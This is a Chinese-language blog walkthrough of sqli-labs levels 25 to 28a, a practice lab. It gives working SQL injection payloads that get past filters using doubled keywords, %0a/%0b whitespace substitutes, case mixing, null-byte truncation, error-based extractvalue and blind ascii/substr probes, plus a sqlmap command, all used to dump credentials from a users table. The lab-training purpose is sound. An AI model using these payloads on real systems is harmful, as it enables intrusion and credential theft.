当前位置:   article > 正文

sqli-labs进阶篇 25_28关_sqlilab28关

sqlilab28关

【第二十五关】过滤or和and的数字型注入

Ⅰ 观察

image.png
过滤or和and,并且我们每一次输入,都会在Hint上显示出来

直接用id=1,就可以让它破防,
image.png
用id=-1’,测试下注入点,根据提示,可以知道这是一个单引号注入
image.png
构造playload

?id = -1' XXXX or '1' ='1 #
  • 1

测试刚刚构造的playload,看一下是否可行,发现or被屏蔽了
image.png

Ⅱ 代码审计

image.png
现在的需要解决的问题是:如何绕过or和and的过滤
想到的办法有两种:一是url编码绕过(试过了,不行),二是双写绕过,三是重写绕过
构造下playload

or:oorr
and:aanndd
  • 1
  • 2

测试一下回显可行不,发现可以
image.png

Ⅲ 注入时间

直接按照前几关的sql注入,在这里,我就直接写结果

~~/Less-25/?id=-1' union select 1,(select group_concat(id,'~',username,'~',passwoorrd) from security.users),3 oorr'1'='1#
  • 1

image.png

【第二十五关】A

Ⅰ 观察

前一关的进阶版,去掉了报错信息,我们不能从网页上获取sql的执行报错信息,采用联合注入或盲注
image.png
只加了个黑名单和过滤,其余和前几关一样

Ⅱ 代码审计

image.png
构造playload

?id=-1 union 1,2,XXX --+
  • 1

Ⅲ 执行注入

爆数据库

?id=-1 union select 1,2,database() --+
  • 1

image.png
爆表

?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
  • 1

image.png
爆数据

?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3--+
  • 1

【第二十六关】过滤空格和注释的字符注入

Ⅰ 代码审计

image.png
除了过滤or和and外还过滤了#和-- ,斜杠和*号和空格

常见字符绕过

空格 利用%a0为被视为特殊字符,我们采用换行符号%0A代替
TAB键 %0B (垂直)

这道题可以用两种注入方式:联合注入/报错注入
原理跟之前的关卡一样

Ⅱ 联合注入

?id=0'%0bunion%0bselect%0b1,database(),3||'1'='1
  • 1

image.png

Ⅲ 报错注入

?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1
  • 1

参考资料
(sqli-labs 26关)[https://blog.csdn.net/m0_71299382/article/details/127944148]

【第二十六关】A

Ⅰ 观察

image.png
空格和注释都过滤
万能密码可以登录进去
image.png

Ⅱ 判断注入点

(1)判断单/双引号

image.png
输入:?id=1’ ,提醒有过滤
image.png

?id=1"
  • 1

image.png

?id=1" or 1=1
  • 1

image.png
双引号注入显示正常,单引号注入,却出现过滤提示

-- 解析下
①如果是双引号注入:"XXX"
	输入:?id=1" or 1=1
  执行:"1" or 1=1 "  
  结果:报错
②如果是单引号注入:'XXX'
  输入:?id=1" or 1=1
  执行:'?id=1" or 1=1' 
  结果:id=1,执行成功
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
从上面分析,再结合执行结果,可以知道这是单引号注入,而且存在闭合注入。
  • 1
(2)判断是否存在闭合注入
?id=2'anandd'1'='1
  • 1

image.png
实际显示id为1的结果,所以存在闭合
image.png

后面就用盲注(个人比较不喜欢的,需要手动一步步注入)
判断表名长度
image.png
注:网上用到了联合注入,就是在26关的基础上,加一个闭合,我试了下,是不行的
image.png
想用sqlmap测试下,没有成功

python sqlmap.py -u "http://192.168.60.128/sqli-labs/Less-26a/?id=1" -technique=B --hostname --users --tamper=tamper/air.py,test.py

  • 1
  • 2

资料
https://blog.csdn.net/weixin_47300936/article/details/126686782
https://www.pudn.com/news/6312e19688df2007aa175c06.html

【第二十七关】基于过滤union和select的单引号注入

Ⅰ 判断注入点

image.png
可以判断是单引号注入,不存在闭合,如果存在闭合,在注入单引号时,会报闭合的错误
image.pngimage.png

万能密码
image.png

Ⅱ 直接开始注入

按照网上的一些绕过,采用以下绕过字符,发现报错了

  • 空格:%a0
  • union:UnioN
  • select:SelEct
?id=0'%a0UnioN%a0SelEct%a01,database(),3||'1'='1
  • 1

image.png
想着用其他的绕过字符表达式,试了下%0b,每遇到一个空格就TAB键,完美解决问题

?id=0'%0bUnioN%0bSelEct%0b1,database(),3||'1'='1
  • 1

image.png
在这里,我就直接跳过过程,直接来到最后一步

?id=00'%0aUnioN %0aSelEct%0a 1,(SelEct %0agroup_concat(id,'~',username,'~',password)%0afrom %0asecurity.users),3 %0aand %0a'1'='1
  • 1

image.png
image.png

Ⅲ 小结 :常见绕过字符表达式

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
%0A 换行

心得:感觉绕过很恶心,有时候少写一个小写转大写,就不能注入了

【第二十七关】A

Ⅰ 判断注入点

跟二十七关类似,直接判断下注入点
测试了下用单引号注入,发现显示了
image.png
解析:注入id=2’ and '1

  1. 如果是单引号

执行:‘2’ and ‘1’
结果:输出id为1的结果,与结果不符合

  1. 如果是双引号

    **执行:**" 2' and  '1”,变成** ' '2'  and '1'  '**
    
    • 1

**结果:**输出的结果,不是id为1的Dumb,则可能是双引号

Ⅱ 证明是否是双引号

满足下面两个条件语句执行结果,就是双引号注入

?id=2"  -- 报错
?id=2"" --不报错
  • 1
  • 2

image.png

构造playload,就是前一关的修改版

?id=1" union select 1,XXX,3 and "1
  • 1

Ⅲ 注入时间

直接爆数据

?id=00" %0aUnioN %0aSelEct%0a 1,(SelEct %0agroup_concat(id,'~',username,'~',password)%0afrom %0asecurity.users),3%0aand "1
  • 1

image.png

【第二十八关】

测试出了注入点,但是第一次在过滤字符上,出错了

Ⅰ 判断注入点

  1. **?id=1 ** 正常显示Dumb~Dumb
  2. ?id=1’ 报错,一定是单引号注入
  3. ?id=1" 正常 进一步确认
  4. ?id=2’ and ‘1’ ='1 确定是否存在闭合
  • 存在闭合情况下
    • 执行:(’ 2’ and ‘1’ =‘1’)
    • 结果:输出id为1的name
    • 实际:输出id=1,满足条件,存在闭合
  • 不存在闭合时
    • 执行**:’ 2’ and ‘1’ =‘1’**
    • 结果:输出id为2的值
    • 实际:输出id=1的值,不满足

image.png

  1. ?id=2’) and ('1 进一步确定下闭合
  • 执行: (‘2’) and (‘1’)
  • 结果: 输出id为2的值
  • 实际: 输出id为2的值

image.png
初步构造palyload

?id=00') union select 1,2,3 and '1'='1
  • 1

过滤符号

空格:采用%0a绕过,会导致识别出特殊字符,采用**%0A**换行绕过
union: uni 换行 union %0A selecton
select: select

在这里,我发现用大小写时没用的,所以用重写

Ⅱ 测试,发现可行

image.png
image.png

?id=0')uni union%0Aselecton%0Aselect%0A1,database(),3%0Aand%0A('1
  • 1

其他跟步骤一样,直接爆数据

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Asecurity.users%0A 
  • 1

注入失败,提示“没传 参数,导致$SQL语句缺失 不合法”
image.png
后面添加个00截断,就可以把后面的源码sql语句去掉
最终版

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Asecurity.users%0A 
  ;%00
  • 1
  • 2

image.png
image.png

【第二十八关】A

image.png
判断注入点:参考二十八关
盲注:利用burp即可,或者sqlmap

?id=0' ) or (select ascii(substr((select version()),1,1)))>100  --+
?id=0' ) or (select ascii(substr((select version()),1,1)))>0  --+
  • 1
  • 2

image.png

【小结】

一、如何判断单/双引号注入?

需要考虑到闭合情况,有无闭合下,都可以满足
?id=1’ 报错了,有可能是单引号注入,需要再进行下一步确认

-- 解析下
①如果是双引号注入:"XXX"
	输入:?id=1" or 1=1
  执行:"1" or 1=1 "  
  结果:报错
②如果是单引号注入:'XXX'
  输入:?id=1" or 1=1
  执行:'?id=1" or 1=1' 
  结果:id=1,执行成功
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

二、如何判断闭合注入?

以单引号为例
image.png

三、怎么绕过一些字符?

一般是使用3种方法进行绕过,分别是URL编码、大小写、重写
(1)URL编码的常见字符

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
%0A 换行

(2)大小写:利用sql语句不区分大小写的特性

union->Union
select->Select

(3)重写

union-> un union ion

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/658375
推荐阅读
相关标签
  

闽ICP备14008679号